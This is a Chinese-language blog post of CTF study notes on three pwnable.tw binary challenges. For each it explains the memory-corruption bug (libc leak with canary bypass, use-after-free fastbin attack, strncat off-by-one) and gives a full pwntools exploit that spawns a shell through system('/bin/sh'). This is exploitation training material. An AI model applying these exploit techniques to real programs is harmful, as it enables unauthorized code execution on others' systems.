ctf

pwn刷题笔记二

pwnable2

Posted by wjt on November 17, 2019

pwn刷题笔记二

dubblesort

  • 漏洞类型: 读入输出型. 格式化. 保护全开
  • 利用思路: 泄露libc地址, 覆盖返回地址

首先运行程序, 是个排序程序, 同时发现程序反馈语句中有奇怪的字符

对着这个点看ida内文件. 发现是一个读入输出型结构. 一般来说这类不会直接给明显的漏洞点, 但是我们可以利用这类漏洞泄露栈上的一些信息.

继续看整个程序的逆向代码. 其中sort是冒泡排序函数,没有找到利用点. 利用点应该说是在整个程序的结构中.

它是一个经典的读入输出利用型pwn题. 我们通常通过输入一些特殊的数据来泄露可以利用的信息(通常是地址),然后进一步操作.

这题是保护全开题, 地址受aslr的影响,我们首先尝试read那一步是否可以利用. 那自然我们调试到read调用时,查看字符填充的地址,这里是 0xffffd60c

可以看到栈上有一个地址有点特殊,查看一下发现是libc地址段的地址. 再查看一下需要填充的字符是24个字符, 而泄露地址和libc基地址偏移是0x1b0000

现在我们有libc地址了, 然后开始运用另一个漏洞点,这里涉及到一个点, 因为我们输入数据时格式参数是”%u”, 填入”+” “-“是scanf会忽略输入, 不会覆盖存储位置原来的值. 可以调试实验,这里就不贴了.

因为程序开了canary. 而程序并没有对输入”number”的数量做限制,那基本思路就是在canary处填”+”,然后返回地址填入system函数的地址. 最后填入/bin/sh地址就能getshell了.

  • 先发送24个’a’用于泄露libc上的地址.
  • 然后个数35, 24个地址单元(0x60大小)的’0’, ‘+’, 和7个比canary大的数,然后是system函数地址,system函数返回地址,bin_sh地址

这里的填充大小需要调试确定. 计算数字到ebp的距离为0x7c,在IDA可以看到numbers和canary的距离为0x60/4 = 24,所以需要先填充24个0,然后输入+非法字符但被视为合法输入不被写到栈上,可以绕过canary保护,然后canary到ebp的距离为0x7c-0x60-4 = 24/4 = 6,再加上覆盖ebp,需要填充比canary大的7个数,然后是system函数地址。

调试到输入number前的scanf,可以发现填入0xffffd5ec,在这里查看ebp和填入位置的偏移距离

放个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

#p = remote('chall.pwnable.tw',10101)
p = process('./dubblesort')

elf_libc = ELF('./bc.so.6')
got_plt_offset = 0x1b0000

# leak libc address
payload_1 = "a"*24
p.recv()
p.sendline(payload_1)
libc_addr = u32(p.recv()[30:34])-0xa
libcbase_addr = libc_addr - got_plt_offset
print hex(libc_addr)
print hex(libcbase_addr) 
#print hex(libcbase_addr)
#onegadget_addr =0x3a819 + libcbase_addr
sys_addr = libcbase_addr + elf_libc.symbols['system']
bin_sh_addr = libcbase_addr + elf_libc.search('/bin/sh').next()
print hex(sys_addr)
print hex(bin_sh_addr)
#gdb.attach(p)

p.sendline('35')
p.recv()

for i in range(24):
    p.sendline('0')
    p.recv()

p.sendline('+')
p.recv()


for i in range(9):
    p.sendline(str(sys_addr))
    p.recv()
p.sendline(str(bin_sh_addr))
p.recv()

p.interactive()

hacknote

  • 漏洞类型: got部分可写,另外保护全开, fastbinattack, haijacking.
  • 利用思路: 利用结构体中的指针泄露, fastbin的单链表和相同大小块特性

ida 分析,有add,delete,print 3个主要功能,从add中可以看出一个note 会分配8个字节,前四字节指向print功能所要调用的函数,后四节指向note中的具体内容。

print输出content的内容, 而漏洞点在delete中, uaf. 注意这里先free了content地址的内容,再free了list[i]. 这里的content是一个指针, 容易让人联想到泄露地址.

分析一下漏洞利用的思路, 全局变量list, 放置结构体的堆地址

看一下结构体和content的堆排列.

因为结构体是固定为0x8+0x8=0x10大小的,而free的时候是连着先free content,再free 结构体note的, 所以为了待会能够利用到那个note中的content指针, 我们需要free两次(其实是四个)后将其中一个结构体note的地址分配给content, 所以这里我们不能将content的大小设置为8, 用以构造如下结构实现fastbin attack.

所以基本思路如下:

  1. add 大于0x8的堆块 两次.

  2. 先free第一个, 再free第二个(这样就实现了 fastbin[0x10]: note2-> note1)
  3. 再次add,这次要0x8的content大小,这样note2的地址分给了新add的note地址,note1的地址分给了content的地址. 这里content我们填入puts的got表地址.

现在可以看出整个结构 1代表note, 2代表content.同时地址都对上了.

然后开始常规操作, print泄露got地址.再次free 2, add, 将计算出system地址和”   sh”,分别填入note节点的第一项和第二项,再调用free,这样按顺序两者将被先后触发. 这里不填/bin/sh是因为4字节会截断字符.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
#con=remote("chall.pwnable.tw", 10102)
con = process('./hacknote')
e=ELF("./hacknote")

elib=ELF("./bc.so.6")

#puts_got=0x804a024
puts_got = e.got["puts"]

printn=0x804862b#start

def addNote(size,content):

    con.recvuntil("choice :")

    con.sendline("1")

    con.recvuntil("size :")

    con.sendline(str(size))

    con.recvuntil("Content :")

    con.sendline(content)

def deleteNote(index):

    con.recvuntil("choice :")

    con.sendline("2")

    con.recvuntil("Index :")

    con.sendline(str(index))

def printNote(index):

    con.recvuntil("choice :")

    con.sendline("3")

    con.recvuntil("Index :")

    con.sendline(str(index))

def debug():
    gdb.attach(con)

addNote(24,24*"a")

addNote(24,24*"a")

deleteNote(0)

deleteNote(1)

addNote(8,p32(printn)+p32(puts_got))
#debug()

printNote(0)

p=con.recv()

puts_addr=u32(p[:4])

d_value=elib.symbols["puts"]-elib.symbols["system"]

sys_addr=puts_addr-d_value

deleteNote(2)

addNote(8,flat([sys_addr,"||sh"]))

printNote(0)

con.interactive()

silver_bullet

  • 漏洞类型: 没开canary和PIE, 但got表不可写,堆栈不可执行, 栈题, 溢出覆盖返回地址, 改变程序流, null by one.

  • 利用思路: 首先还是想法泄露计算出libc基地址, 填入system函数或者onegadget尝试.

乍一看以为是堆题, 运行程序结合代码分析发现有三个主要的函数: create_bullet, power_up, beat.

create_bullet:给出0x30大小的空间, 然后在填入description位置的0xc偏移处填入计算出的字符长度大小.

漏洞点在power_up, 首先这里要绕过的验证时一开始创建字符串的大小不能超过0x2f. 其次再次读入一堆字符, 它和前面计算出的len加起来的和要小于0x30, ( •̀ ω •́ )✧, 这里就来漏洞点了, strncat将读入的字符串接在之前的description,这个函数是会覆盖掉description后面的’\x00’,然后再在最后的位置填入’\x00’, 后面的这个’\x00’正好可以尝试去覆盖掉len,使其变为0,这时候原本我们就可以再次power_up读入不大于0x2f的字符了.

beat函数: 如果能让len+0x30大于0x7fffffff, “就可以让main函数结束”,当然我们不会这样放任它.

好了整体的利用思路如下:

首先明确,原始的栈上的分布是这样的,var4就是ebp.

  1. 先填入0x2f的大小的字符串.使其能绕过0x2f的验证,当然比这个小也可以.但不要太小,可能会导致后面无法覆盖到
  2. 在填入0x30减去前面len的长度的字符串,使其末尾的’\x00’正好覆盖掉len.然后len会被赋值当前新填入字符串的长度.
  3. 伪造len长度使其逃过验证, 并覆盖ebp, ret用puts函数泄露出相关函数got表地址.
  4. 用计算出的system函数地址和bin_sh地址再次填入获取权限.

这里放一张已经布置好的栈分布图,这里1是len, 2是ebp, 3 是puts函数(但是实际他会偏移4,具体可调试看汇编), 4是返回地址,5是要泄露的函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python
from pwn import *
from time import sleep
import sys
import argparse
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.binary = './silver_bullet'

IP = 'chall.pwnable.tw'
PORT = '10103'
binary = './silver_bullet'

parser = argparse.ArgumentParser()

parser.add_argument('-d','--debugger', action='store_true')
parser.add_argument('-r','--remote', action='store_true')
parser.add_argument('-l','--local',action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x, drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print '\033[1;31;40m%30s --> 0x%x\033[0m' % (s, addr)

if args.remote:
    io = remote(IP, PORT)
    libc = ELF('./bc.so.6')
    elf = ELF(binary)
elif args.local or args.debugger:
    #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary, env=env)
    elf = ELF(binary)
    libc = ELF('./bc.so.6')
    #proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    #libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
else:
    parser.print_help()
    exit()

def debug(msg=""):
    #msg = """
    #    x/10xg 0x{:x}
    #""".format(proc_base + 0x202080)
    gdb.attach(io)

def create(content):
    io.sendlineafter('choice :','1')
    io.sendlineafter('bullet :',content)

def power(content):
    io.sendlineafter('choice :','2')
    io.sendlineafter('bullet :',content)

def beat():
    io.sendlineafter('choice :','3')

def exploit():

    ret = 0x8048954
    puts_plt = elf.plt['puts']
    read_got = elf.got['read']

    create('a'*0x2f)
    power('a')
    
    payload1 = '\xff'*3 + 'b'*4
    payload1 += p32(puts_plt) + p32(ret) + p32(read_got)
    power(payload1)
    beat()
    #debug()
    io.recvuntil('win !!\n')
    read_adr = u32(io.recv(4))
    print hex(read_adr)
    libc_base = read_adr - libc.symbols['read'] 
    sys_adr = libc_base + libc.symbols['system']
    binsh = libc_base + libc.search('/bin/sh\x00').next()
    
    create('a'*0x2f)
    power('a')
    payload2 = '\xff'*3 + 'b'*4
    payload2 += p32(sys_adr) + p32(ret) + p32(binsh)
    power(payload2)
    beat()
    io.interactive()

if __name__ == "__main__":
    exploit()   

applestore(先放着…)

  • 漏洞类型:
  • 利用思路: